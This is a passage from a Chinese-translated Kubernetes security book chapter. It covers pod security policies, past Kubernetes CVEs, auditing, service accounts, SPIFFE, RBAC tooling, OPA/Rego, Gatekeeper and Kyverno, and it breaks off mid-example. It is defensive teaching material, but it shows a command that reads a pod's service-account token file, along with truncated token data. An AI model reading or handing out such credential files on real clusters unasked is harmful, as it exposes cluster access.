Pod 安全策略(PSPs)允许您定义对 pod 创建和更新的精细授权。

假设您希望使用 PSP 设置默认的 seccomp 和 AppArmor 配置文件,正如经典文档示例中所示:

apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
  name: restricted
  annotations:
    seccomp.security.alpha.kubernetes.io/allowedProfileNames:
    'docker/default,runtime/default'
    apparmor.security.beta.kubernetes.io/allowedProfileNames: 'runtime/default'
    seccomp.security.alpha.kubernetes.io/defaultProfileName:  'runtime/default'
    apparmor.security.beta.kubernetes.io/defaultProfileName:  'runtime/default'
spec:
# ...

不过,PSP 在撰写本书时存在一些问题。它们正在 被淘汰的过程中

提示

越来越多的组织正在考虑使用 OPA 约束框架 替代 PSP,因此这可能也是您要考虑的内容。

好消息是,PSP 的替代方案已经存在:在上游,它们被 Pod 安全标准(PSS)取代(Aqua Security 的博客文章 "Kubernetes Pod 安全策略淘汰:您需要了解的一切" 进一步详细介绍了这里),您也可以使用在 “通用策略引擎” 中讨论的框架来覆盖运行时策略。

访问控制策略

在认证和授权方面,Kubernetes 是灵活且可扩展的。我们将在 “认证和授权” 中讨论访问控制策略的详细信息,特别是基于角色的访问控制(RBAC)在 “基于角色的访问控制(RBAC)” 中讨论。

现在,Kubernetes 内置策略的概述已经完成,那么策略空间中的威胁建模是什么样的呢?让我们来找出答案。

威胁模型

在策略的背景下相关的威胁模型是广泛的,但有时它们可能会微妙地隐藏在其他主题中,或者没有明确地被提出。让我们来看看从 2016 年到 2019 年时间段的一些相关策略空间的过去攻击场景示例:

  • CVE-2016-5392描述了一种攻击,其中 API 服务器(在多租户环境中)允许具有其他项目名称知识的远程经过身份验证的用户通过与观察-缓存列表相关的向量获取敏感项目和用户信息。

  • 特定版本的 CoreOS Tectonic 在/api/kubernetes/直接代理到集群,无需认证即可访问,并允许攻击者直接连接到 API 服务器,正如CVE-2018-5256所观察到的。

  • CVE-2019-3818中,kube-rbac-proxy容器未尊重 TLS 配置,允许使用不安全的密码和 TLS 1.0。攻击者可以针对使用弱配置的 TLS 连接发送的流量,并可能破解加密。

  • CVE-2019-11245中,我们看到攻击者可以利用某些kubelet版本未指定显式的runAsUser而尝试在容器重新启动时以 UID 0(root)身份运行,或者如果镜像先前已拉到节点上。

  • 根据CVE-2019-11247,Kubernetes API 服务器错误地允许对集群范围的自定义资源进行访问,如果请求伪装成在特定命名空间内的资源。以此方式访问的资源的授权是通过命名空间内的角色和角色绑定来强制执行的,这意味着只有对一个命名空间内的资源有访问权限的用户可以创建、查看、更新或删除集群范围的资源。

  • CVE-2020-8554中,攻击者可能通过中间人攻击方式拦截流量,这在多租户环境中可能会截取到其他租户的流量。新的DenyServiceExternalIPs入口控制器被添加,因为目前对此问题尚无修补程序。

常见期望

在以下各节中,我们审查一些常见期望—即与策略相关的情况和已确立的方法—以及它们如何在 Kubernetes 中的默认设置中解决,并在没有 OOTB(Out Of The Box)功能可用的情况下,指出在 Kubernetes 之上运行的示例。

突破玻璃场景

当我们说突破玻璃场景时,通常指的是一种绕过默认访问控制制度的过程,以应对紧急情况。紧急情况可能是外部事件,如自然灾害或攻击者试图干扰您的集群。如果提供了这样的功能,所提供的突破玻璃账户通常是高度特权的(以止血为目的),并且通常会设有时间限制。一旦授予了突破玻璃访问权限,在背景中会通知所有者并记录账户以供审计。

虽然 Kubernetes 默认不提供突破玻璃功能,但有些例子,如 GKE 的二进制授权突破玻璃能力,展示了这在实践中如何运作。

审计

Kubernetes 自带审计功能。在 API 服务器中,每个请求生成一个审计事件,根据策略预处理记录,并将其写入后端;目前支持日志文件和 Webhook(将事件发送到外部 HTTP API)。

可配置的审计级别从None(不记录事件)到RequestResponse(记录事件元数据、请求和响应主体)。

捕获 ConfigMaps 事件的示例策略可能如下所示:

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  - level: Request
    resources:
    - group: ""
      resources: ["configmaps"]

Kubernetes 的OOTB 审计功能是一个很好的起点,许多安全和可观测性供应商基于此提供额外的功能,无论是更方便的界面还是与目标的集成,包括但不限于以下内容:

作为一个良好的实践,启用审计并尝试在详细度(审计级别)和保留期之间找到合适的平衡。

认证和授权

如果考虑一个 Kubernetes 集群,有不同类型的资源,包括集群内(如 pod 或命名空间)以及集群外(例如云提供商的负载均衡器),一个服务可能需要提供这些资源。在本节中,我们将深入讨论定义和检查访问所需资源的主题。

在访问控制的背景下,当我们说授权时,我们指的是检查某个操作的权限,例如为给定身份(人类用户或程序,通常称为工作负载身份)创建或删除资源的过程。验证主体的身份,无论是人类用户还是机器,都称为认证。

图 8-2 在高层次上展示了在 Kubernetes 集群中访问资源的工作方式,涵盖了认证和授权步骤。

Kubernetes 访问控制概述

图 8-2. Kubernetes 访问控制概述(来源:Kubernetes 文档

API 服务器中的第一步是通过配置的一个或多个认证模块(如客户端证书、密码或 JSON Web Tokens(JWT))对请求进行认证。如果 API 服务器无法对请求进行身份验证,则以 401 HTTP 状态拒绝该请求。但是,如果认证成功,则 API 服务器继续进行授权步骤。

在此步骤中,API 服务器使用配置的授权模块之一来确定是否允许访问;它将凭据与请求的路径、资源(pod、服务等)和动词(创建、获取等)一起使用,如果至少一个模块授予访问权限,则允许该请求。如果授权失败,则返回 403 HTTP 状态码。目前最常用的授权模块是 RBAC(参见“基于角色的访问控制(RBAC)”)。

在接下来的章节中,我们将首先审查 Kubernetes 的默认设置,展示如何可能受到攻击,随后讨论如何在访问控制空间内监视和防御这些攻击。

人类用户

Kubernetes 不将人类用户视为一等公民,与机器(或应用程序)相反,后者由所谓的服务账号表示(参见“服务账号”)。换句话说,在 Kubernetes 中没有核心资源代表人类用户。

在实践中,组织通常希望将 Kubernetes 集群用户映射到现有用户目录,如 Azure Directory,并理想地提供单点登录(SSO)。

通常情况下,有两个选择可供选择:购买或自行构建。如果您使用云提供商的 Kubernetes 发行版,请检查集成情况。如果您打算自行构建 SSO,有许多开源工具可供选择:

  • 基于 OpenID Connect(OIDC)/OAuth 2.0 的解决方案,例如通过Dex提供的解决方案。

  • 基于安全声明标记语言(SAML)的解决方案,例如由Teleport提供的解决方案。

此外,还有更完整的开源解决方案,如Keycloak,支持从 SSO 到策略执行的各种用例。

虽然人类在 Kubernetes 中没有本地表示,但您的工作负载确实有。

工作负载身份

与人类用户相比,拥有 pod 的部署等工作负载确实是 Kubernetes 中的一等公民。

服务账号

默认情况下,服务账号代表 Kubernetes 中应用程序的身份。服务账号是一种命名空间资源,可在 pod 的上下文中用于将您的应用程序与 API 服务器进行身份验证。其规范形式如下:

system:serviceaccount:NAMESPACE:NAME

作为控制平面的一部分,三个控制器共同实现了服务账号的自动化管理,即管理机密和令牌:

  • ServiceAccount 准入控制器是 API 服务器的一部分,负责处理 pod 的创建和更新。控制器检查用于 pod 的服务账号是否存在,如果不存在,则拒绝该 pod(或者,如果未指定服务账号,则使用default服务账号)。此外,它管理一个卷,使服务账号通过已知位置可用:/var/run/secrets/kubernetes.io/serviceaccount

  • TokenController 是控制平面组件控制器管理器的一部分,负责监视服务账户并创建或删除相应的令牌。这些令牌是 RFC 7519 中定义的 JSON Web Tokens(JWT)。

  • ServiceAccount 控制器,也是控制器管理器的一部分,确保在每个命名空间中存在一个名为default的服务账户。

例如,kube-system命名空间中的default服务账户将被称为system:serviceaccount:kube-system:default,并且看起来像以下内容:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: default ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
  namespace: kube-system ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
secrets:
- name: default-token-v9vsm ![3](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/3.png)

1

default服务账户

2

kube-system命名空间中

3

使用名为default-token-v9vsm的 Secret

我们看到kube-system命名空间中的default服务账户使用了名为default-token-v9vsm的 Secret,因此让我们用kubectl -n kube-system get secret default-token-v9vsm -o yaml查看它,得到以下编辑后的 YAML 文档:

apiVersion: v1
kind: Secret
metadata:
  annotations:
    kubernetes.io/service-account.name: default
  name: default-token-v9vsm
  namespace: kube-system
type: kubernetes.io/service-account-token
data:
  ca.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tL...==
  namespace: a3ViZS1zeXN0ZW0=
  token: ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk...==

您的应用程序可以使用控制平面组件从 Pod 内部访问的数据,正如前面描述的那样。例如,在容器内部,该卷在以下位置可用:

~ $ ls -al /var/run/secrets/kubernetes.io/serviceaccount/
total 4
drwxrwxrwt 3 root root  140 Jun 16 11:31 .
drwxr-xr-x 3 root root 4096 Jun 16 11:31 ..
drwxr-xr-x 2 root root  100 Jun 16 11:31 ..2021_06_16_11_31_31.83035518
lrwxrwxrwx 1 root root   31 Jun 16 11:31 ..data -> ..2021_06_16_11_31_31.83035518
lrwxrwxrwx 1 root root   13 Jun 16 11:31 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root   16 Jun 16 11:31 namespace -> ..data/namespace
lrwxrwxrwx 1 root root   12 Jun 16 11:31 token -> ..data/token

TokenController 创建的 JWT 令牌现已准备就绪供您使用:

~ $ cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6InJTT1E1VDlUX1ROZEpRMmZSWi1aVW0yNWVocEh.
...

ServiceAccount 经常用作构建块,并可与其他机制(如投影卷(在第六章中讨论)和kubelet用于工作负载身份管理)结合使用。

例如,EKS 功能IAM 角色用于服务账户展示了这样一个组合的实际应用。

虽然方便,但 ServiceAccount 默认情况下不提供强大的工作负载身份标识,因此可能不足以满足某些用例的需求。

密码强的身份标识

每个人的安全生产身份框架(SPIFFE)是一个云原生计算基金会(CNCF)项目,为您的工作负载建立身份。SPIRE是 SPIFFE API 的生产就绪参考实现,允许进行节点和工作负载的认证;也就是说,您可以自动为像 Pod 这样的资源分配密码强的身份标识。

在 SPIFFE 中,工作负载是使用特定配置部署的程序,在信任域的上下文中定义,例如 Kubernetes 集群。工作负载的身份以所谓的 SPIFFE ID 形式存在,其一般模式如下所示:

spiffe://trust-domain/workload-identifier

SVID(SPIFFE 可验证身份文件的简称)是文档,例如 X.509 证书 JWT 令牌,用于工作负载向调用者证明其身份。如果 SVID 由信任域中的授权机构签名,则 SVID 有效。

如果你对 SPIFFE 不熟悉,并想了解更多,我们建议查看SPIFFE 文档的术语部分

到此,我们已经完成了关于一般身份验证和授权的讨论,现在集中于 Kubernetes 安全中的一个核心主题:基于角色的访问控制。

基于角色的访问控制(RBAC)

如今,在 Kubernetes 中授予人类和工作负载对资源的访问权限的默认机制是基于角色的访问控制(RBAC)。

首先我们将回顾默认设置,然后讨论如何使用工具来分析和可视化关系,最后我们将回顾这个领域中的攻击。

RBAC 总结

在 RBAC 的上下文中,我们使用以下术语:

  • 身份是指人类用户或服务账户。

  • 资源是我们想要提供访问权限的东西(如命名空间或部署)。

  • 角色用于定义对资源执行操作的条件。

  • 角色绑定将角色附加到身份,有效地表示涉及指定资源的一组操作权限。

赋予身份对指定资源的允许操作称为动词,有两种类型:只读动词(getlist)和读写动词(createupdatepatchdeletedeletecollection)。此外,角色的作用范围可以是整个集群或 Kubernetes 命名空间的上下文。

默认情况下,Kubernetes 带有特权升级预防措施。也就是说,只有当用户已经拥有角色中包含的所有权限时,才能创建或更新角色。

注意

Kubernetes 中有两种角色类型:角色和集群角色。它们的区别在于作用范围:前者仅在命名空间的上下文中相关和有效,而后者在整个集群范围内有效。相应的绑定也是如此。

最后但同样重要的是,在定义自己的角色之前,Kubernetes 定义了一些默认角色可能需要您进行审查(或者以它们作为起点)。

例如,有一个名为edit的默认集群角色预定义(注意输出已经被缩减以适应)。

$ kubectl describe clusterrole edit
Name:         edit
Labels:       kubernetes.io/bootstrapping=rbac-defaults
              rbac.authorization.k8s.io/aggregate-to-admin=true
Annotations:  rbac.authorization.kubernetes.io/autoupdate: true
PolicyRule:
  Resources     Non-Resource URLs  Resource Names  Verbs
  ---------     -----------------  --------------  -----
  configmaps    []                 []              [create delete ... watch]
  ...

一个简单的 RBAC 示例

在本节中,我们将简单介绍一个 RBAC 示例:假设您希望授予开发者joeyyolo命名空间中查看部署类型资源的权限。

让我们首先创建一个名为view-deploys的集群角色,定义了对目标资源允许的操作,使用以下命令:

$ kubectl create clusterrole view-deploys \
  --verb=get --verb=list \
  --resource=deployments

上述命令创建的资源具有以下的 YAML 表示:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: view-deploys
rules:
- apiGroups:
  - apps
  resources: ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
  - deployments
  verbs: ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
  - get
  - list

1

这个集群角色的目标资源

2

当绑定此集群角色时允许的操作

接下来,我们为之前步骤中创建的目标主体分配目标集群角色。这通过以下命令实现,将view-deploys集群角色绑定到用户joey

$ kubectl create rolebinding assign-perm-view-deploys \
  --role=view-deploys \
  --user=joey \
  --namespace=yolo

当您执行此命令时,将创建一个具有以下 YAML 表示的资源:

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: assign-perm-view-deploys
  namespace: yolo ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: view-deploys ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
subjects:
- apiGroup: rbac.authorization.k8s.io
  kind: User
  name: joey ![3](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/3.png)

1

角色绑定的范围

2

我们想要使用的集群角色(bind)

3

要将集群角色绑定到的目标主体(主体)

现在,通常不建议直接查看大量的 YAML 代码以确定权限。鉴于其图形化特性,通常希望有一些视觉表示,类似于图 8-3 中所示的内容。

对于这种情况看起来相当简单,但实际情况要复杂得多而混乱。预计将涉及核心 Kubernetes 资源以及自定义资源定义(CRD)中数百个角色、绑定、主体和操作。

那么,您如何找出发生了什么,如何真正理解您集群中的 RBAC 设置呢?通常的答案是:使用额外的软件。

示例 RBAC 图表显示了开发者被允许执行的操作

图 8-3. 示例 RBAC 图表显示了开发者joey被允许执行的操作。

撰写 RBAC

根据最小权限原则,您应该仅授予执行特定任务所需的确切权限。但是如何确定确切的权限?权限太少会导致任务失败,但权限过多可能会为攻击者带来大好时机。解决这个问题的一个好方法是自动化:让我们来看看一个称为audit2rbac的小而强大的工具,它可以生成涵盖用户发出的 API 请求的 Kubernetes RBAC 角色和角色绑定。

作为一个具体的例子,我们将使用在 AWS 上运行的 EKS 集群。首先,在您的平台上安装awslogs,同时也要安装audit2rbac

对于以下操作,您需要两个终端会话,因为我们在阻塞模式下使用第一个命令(awslogs)。

首先,在一个终端会话中,通过尾随 CloudWatch 输出创建审计日志,如下所示(请注意,您也可以直接管道传输到audit2rbac):

$ awslogs get /aws/eks/example/cluster \
  "kube-apiserver-audit*" \
  --no-stream --no-group --watch \
  >> audit-log.json
注意

虽然此处显示的awslogs片段使用了 AWS 特定的方法来获取日志,但原理仍然相同。例如,要查看 GKE 日志,您可以使用gcloud logging read,而AKS 提供了类似的访问日志的方法。

现在,在另一个终端会话中,使用要为其创建 RBAC 设置的用户执行kubectl命令。在所示的情况下,我们已经作为该用户登录,否则您可以使用--as来冒充他们。

假设您想要为列出所有默认资源(例如 pods、services 等)跨所有命名空间生成必要的角色和绑定。您将使用以下命令(请注意,此处未显示输出):

$ kubectl get all -A
...

在这一点上,我们应该已经有了audit-log.json中的审计日志,并且可以将其作为audit2rbac的输入,如下所示。让我们消费审计日志,并为特定用户创建 RBAC 角色和绑定:

$ audit2rbac --user kubernetes-admin \   ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
  --filename audit-log.json \ ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
  > list-all.yaml
Opening audit source...
Loading events....
Evaluating API calls...
Generating roles...
Complete!

1

指定角色绑定的目标用户。

2

指定要用作输入的日志。

在运行上述命令后,生成的 RBAC 资源包括一个允许用户kubernetes-admin成功执行kubectl get all -A的集群角色和集群角色绑定,现在可以在list-all.yaml中找到(注意输出已经被截断):

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
metadata:
  annotations:
    audit2rbac.liggitt.net/version: v0.8.0
  labels:
    audit2rbac.liggitt.net/generated: "true"
    audit2rbac.liggitt.net/user: kubernetes-admin
  name: audit2rbac:kubernetes-admin
rules:
- apiGroups:
  - ""
  resources:
  - pods
  - replicationcontrollers
  - services
  verbs:
  - get
  - list
  - watch
...
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
metadata:
  annotations:
    audit2rbac.liggitt.net/version: v0.8.0
  labels:
    audit2rbac.liggitt.net/generated: "true"
    audit2rbac.liggitt.net/user: kubernetes-admin
  name: audit2rbac:kubernetes-admin
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: audit2rbac:kubernetes-admin
subjects:
- apiGroup: rbac.authorization.k8s.io
  kind: User
  name: kubernetes-admin

1

生成的集群角色允许您列出所有命名空间中的默认资源

2

将用户kubernetes-admin授权绑定权限

小贴士

还有一个名为who-cankrew插件,允许您快速收集相同的信息。

那真是一些(自动化)娱乐,不是吗?自动化角色创建帮助您执行最小权限原则,否则“简单地赋予访问所有内容以使其工作”的诱惑确实很大,正符合船长及其贪婪的船员们的要求。

接下来:如何以可伸缩的方式阅读和理解 RBAC。

分析和可视化 RBAC

由于它们的本质,使用 RBAC 会导致一个包含主体、角色、它们的绑定和操作的庞大有向无环图(DAGs)。试图手动理解这些连接几乎是不可能的,因此您希望能够可视化这些图表和/或使用工具来查询特定路径。

小贴士

为了解决发现 RBAC 工具和良好实践的挑战,我们维护rbac.dev,欢迎通过问题和拉取请求提出建议。

例如,假设您想对您的 RBAC 设置进行静态分析。您可以考虑使用krane,这是一个可以识别潜在安全风险并提出如何减轻风险的工具。

为了演示 RBAC 可视化的实际应用,让我们通过两个示例进行说明。

第一个用于可视化 RBAC 的例子是一个krew 插件,称为rbac-view(图 8-4),您可以按以下步骤运行:

$ kubectl rbac-view
INFO[0000] Getting K8s client
INFO[0000] serving RBAC View and http://localhost:8800
INFO[0010] Building full matrix for json
INFO[0010] Building Matrix for Roles
INFO[0010] Retrieving RoleBindings
INFO[0010] Building Matrix for ClusterRoles
...

 Web 界面的截图

图 8-4. rbac-view Web 界面的截图

然后,在浏览器中打开提供的链接,这里是http://localhost:8800,可以交互式地查看和查询角色。

第二个例子是一个名为rback的 CLI 工具,由其中一位作者发明和共同开发。rback查询与 RBAC 相关的信息,并以dot格式生成服务账户(集群)角色和访问规则的图表表示:

$ kubectl get sa,roles,rolebindings,clusterroles,clusterrolebindings \ ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
  --all-namespaces \ ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
  -o json |
  rback | ![3](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/3.png)
  dot -Tpng  > rback-output.png ![4](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/4.png)

1

列出要包含在图表中的资源。

2

设置范围(在我们的情况下是:整个集群)。

3

通过stdin将生成的 JSON 输入到rback中。

4

rback 输出以 dot 格式提供给 dot 程序,生成图片 rback-output.png

如果你安装了 dot,你会在名为 rback-output.png 的文件中找到输出,它看起来类似于图 8-5。

运行  对 EKS 集群的输出

图 8-5. 运行 rback 对 EKS 集群的输出

与 RBAC 有关的攻击

在野外发现的与 RBAC 相关的攻击并不多,这可以通过 CVE 表明。基本模式包括:

  • 权限过于宽松。通常由于时间限制或不了解问题,会授予比实际需要更多的权限来执行任务。例如,你希望人们被允许管理部署,而实际上他们只需要列出和描述它们,但你也给了他们编辑权限。这违反了最小权限原则,一个熟练的攻击者可以利用这种设置。

  • 边界线模糊。在云环境中运行容器的背景下,共享责任模型可能并不总是非常清晰。例如,虽然通常清楚谁负责修补工作节点,但不总是明确谁维护应用程序包及其依赖项。如果默认建议过于宽松的 RBAC 设置未经适当审核,可能会成为一个潜在的攻击向量,如:“啊,我以为负责这个”,以及当服务的条款和条件没有被仔细审查时可能带来不受欢迎的结果。

  • 在 Helm 3 之前,存在一个过于特权的组件,引发了各种安全问题,特别是混淆的副手情况。虽然这已经越来越不是问题,但你可能需要仔细检查一下你的集群中是否仍在使用一些 Helm 2。

在 RBAC 结束后,让我们现在转向通用策略处理和引擎的话题。基本思想是,与其硬编码某些策略类型,使其成为 Kubernetes 的一部分,不如用一种通用的方式来定义策略,并使用其中的一个Kubernetes 扩展机制来强制执行。

通用策略引擎

让我们讨论一下通用策略引擎,在 Kubernetes 的背景下可以用来定义和执行任何类型的策略,从组织到法规方面的。

开放策略代理

开放策略代理(OPA)是一个毕业于 CNCF 的项目,提供了一个通用的策略引擎,统一了策略执行。OPA 中的策略用一种高级声明性语言 Rego 表示。它允许你将策略作为代码来指定,并提供简单的 API 来外部化策略决策,即将其移出你自己的软件。正如你在图 8-6 中看到的,OPA 将策略决策与策略执行解耦。

当你需要在代码中(service)做出策略决策时,你会使用 OPA API 来查询相关策略。作为输入,OPA 服务器接受当前请求数据(以 JSON 格式)以及策略(以 Rego 格式),并计算诸如“允许访问”或“这是相关位置列表”的答案。请注意,答案不是二元的,完全取决于规则和提供的数据,以确定性的方式计算。

让我们看一个具体的示例(来自 Rego 在线播放器的示例之一)。假设你希望确保每个资源都有一个以cccode-开头的costcenter标签,如果不是这种情况,则用户会收到一条消息,说明缺少此内容,因此无法继续(例如,无法部署应用程序)。

OPA 概念

图 8-6. OPA 概念

在 Rego 中,规则会像以下示例一样(我们将在“门卫”中详细介绍此示例):

package prod.k8s.acme.org

deny[msg] { ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
  not input.request.object.metadata.labels.costcenter
  msg := "Every resource must have a costcenter label"
}

deny[msg] { ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
  value := input.request.object.metadata.labels.costcenter
  not startswith(value, "cccode-")
  msg := sprintf("Costcenter code must start with `cccode-`; found `%v`", [value])
}

1

costcenter标签是否存在?

2

costcenter标签是否以某个特定前缀开头?

现在,让我们假设有人执行了kubectl apply导致创建一个没有标签的 Pod。

注意

OPA 与 API 服务器连接的方式相当直接,通过 Kubernetes 的许多扩展机制之一实现。在这种情况下,它使用动态准入控制,更准确地说,它注册了一个 Webhook,API 服务器在将相应资源持久化到etcd之前调用它。

换句话说,示例中显示的AdmissionReview资源是 API 服务器发送到已注册为 Webhook 的 OPA 服务器的内容。

通过kubectl命令的结果,API 服务器生成一个AdmissionReview资源,如下所示为 JSON 文档:

{
    "kind": "AdmissionReview",
    "request": {
        "kind": {
            "kind": "Pod",
            "version": "v1"
        },
        "object": {
            "metadata": {
                "name": "myapp"
            },
            "spec": {
                "containers": [
                    {
                        "image": "nginx",
                        "name": "nginx-frontend"
                    },
                    {
                        "image": "mysql",
                        "name": "mysql-backend"
                    }
                ]
            }
        }
    }
}

根据前述输入,OPA 引擎将计算以下输出,然后 API 服务器会将其反馈给kubectl并显示在命令行上的用户,例如:

{
    "deny": [
        "Every resource must have a costcenter label"
    ]
}

现在,如何纠正这种情况并使其正常工作?只需添加一个标签:

"metadata": {
                "name": "myapp",
                "labels": {
                    "costcenter": "cccode-HQ"
                 }
            },

这是不言而喻的,但在部署策略之前,始终测试您的策略是一个好主意

Rego 与您可能熟悉的东西有些不同,我们能想到的最好类比可能是 XSLT。如果您决定采用 Rego,请考虑内部化一些提示

直接使用 OPA

直接在命令行上或编辑器环境中使用 OPA 相当简单。

首先,让我们看如何评估给定的输入和策略。您可以像通常一样开始安装 OPA。由于它是用 Go 编写的,这意味着它是一个单独的自包含二进制文件。

接下来,假设我们要使用 costcenter 示例,并在命令行上评估它,假设你已将 AdmissionReview 资源存储在名为 input.json 的文件中,而 Rego 规则存储在 cc-policy.rego 中:

$ opa eval \
  --input input.json \ ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
  --data cc-policy.rego \ ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
  --package prod.k8s.acme.org \ ![3](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/3.png)
  --format pretty 'deny' ![4](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/4.png)
[
  "Every resource must have a costcenter label"
]

1

指定 OPA 应使用的输入(一个 AdmissionReview 资源)。

2

指定要使用的规则(以 Rego 格式)。

3

设置评估上下文。

4

指定输出。

这就足够简单了!但我们可以更进一步:尝试在编辑器中使用 OPA/Rego 开发新的策略如何?

有趣的是,从 VSCode 到 vim,支持一系列 IDE 和编辑器(见图 8-7)。

vim 中的 Rego 插件截图

图 8-7. vim 中的 Rego 插件截图

在管理一组集群中的 OPA 策略时,你可能需要考虑评估 Styra 的声明授权服务(DAS)产品,这是一个企业级 OPA 解决方案,带有一些实用的功能,如集中策略管理、日志记录和影响分析。

Tip

你可以在 OPA 中使用 JSON Schema 对 Rego 策略进行类型检查。这增加了另一层验证,有助于策略开发者捕获错误。更多关于此主题的信息,请参考“《使用 JSON Schema 在 OPA 中对你的 Rego 策略进行类型检查》”(https://oreil.ly/LpPfj)。

不过,你是否真的必须直接使用 Rego 呢?实际上并不必须。接下来让我们在 Kubernetes 的背景下讨论替代方案。

Gatekeeper

鉴于 Rego 是一种 DSL 并具有学习曲线,人们经常会疑惑是否应该直接使用它,还是是否有更符合 Kubernetes 本地化的方法来使用 OPA。事实上,Gatekeeper 项目 正是允许这样做的。

Tip

如果你不确定是应该直接使用 Gatekeeper 还是 OPA,有很多好文章可以详细讨论这个话题;例如,“《OPA 和 Gatekeeper 在 Kubernetes 准入控制上的区别》”(https://oreil.ly/tBNvD)和“《将 Open Policy Agent(OPA)与 Kubernetes 集成》”(https://oreil.ly/AJJhy)。

Gatekeeper 的作用实质上是引入了关注点分离:所谓的模板代表了策略(编码为 Rego),作为最终用户,你将与使用这些模板的 CRD 接口交互。API 服务器中配置的准入控制器负责执行这些策略。

让我们看看之前关于需要 costcenter 标签的示例如何使用 Gatekeeper。我们假设你已经安装了 Gatekeeper

首先,在 costcenter_template.yaml 文件中定义模板,定义一个名为 K8sCostcenterLabels 的新 CRD:

apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
  name: costcenterlabels
spec:
  crd:
    spec:
      names:
        kind: K8sCostcenterLabels
      validation:
        openAPIV3Schema: ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
          properties:
            labels:
              type: array
              items: string
  targets:
    - target: admission.k8s.gatekeeper.sh
      rego: |
  package prod.k8s.acme.org

  deny[msg] { ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
    not input.request.object.metadata.labels.costcenter ![3](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/3.png)
    msg := "Every resource must have a costcenter label"
  }

  deny[msg] { ![4](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/4.png)
    value := input.request.object.metadata.labels.costcenter
    not startswith(value, "cccode-")
    msg := sprintf("Costcenter code must start with `cccode-`; found `%v`", [value])
  }

1

这定义了 parameters 字段的模式。

2

此定义检查是否提供了 costcenter 标签。请注意,每个规则都会单独对最终(错误)消息做出贡献。

3

这个规则中的 not 关键字将一个未定义的语句转换为真值语句。也就是说,如果任何键缺失,则该语句为真。

4

在这个规则中,我们检查 costcenter 标签是否格式正确。换句话说,我们要求它必须cccode- 开头。

当你定义了 CRD 后,可以按如下方式安装它:

$ kubectl apply -f costcenter_template.yaml

要使用 costcenter 模板 CRD,你必须定义一个具体的实例(简称 CR),所以将以下内容放入一个名为 req_cc.yaml 的文件中:

apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sCostcenterLabels
metadata:
  name: ns-must-have-cc
spec:
  match:
    kinds:
      - apiGroups: [""]
        kinds: ["Namespace"]

然后使用以下命令创建它:

$ kubectl apply -f req_cc.yaml

执行此命令后,Gatekeeper 控制器就会知道该策略并执行它。

要检查前述策略是否有效,可以创建一个不带标签的命名空间,然后尝试创建该命名空间,例如使用 kubectl apply,你会看到一个包含“每个资源必须有成本中心标签”的错误消息以及资源创建被拒绝。

通过这个你可以初步了解 Gatekeeper 的工作原理。现在让我们转向另一种有效实现相同目标的方法:CNCF Kyverno 项目。

Kyverno

另一种管理和强制执行策略的方式是一个名为Kyverno的 CNCF 项目。这个项目由 Nirmata 发起,概念上类似于 Gatekeeper。Kyverno 的工作方式如图 8-8 所示:它作为动态准入控制器运行,支持验证和变异准入 Webhook。

Kyverno 概念

图 8-8. Kyverno 概念

那么,使用 Gatekeeper 或纯 OPA 有什么区别呢?与其直接或间接使用 Rego,使用 Kyverno,你可以做以下操作:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: costcenterlabels
spec:
  validationFailureAction: enforce
  rules:
  - name: check-for-labels
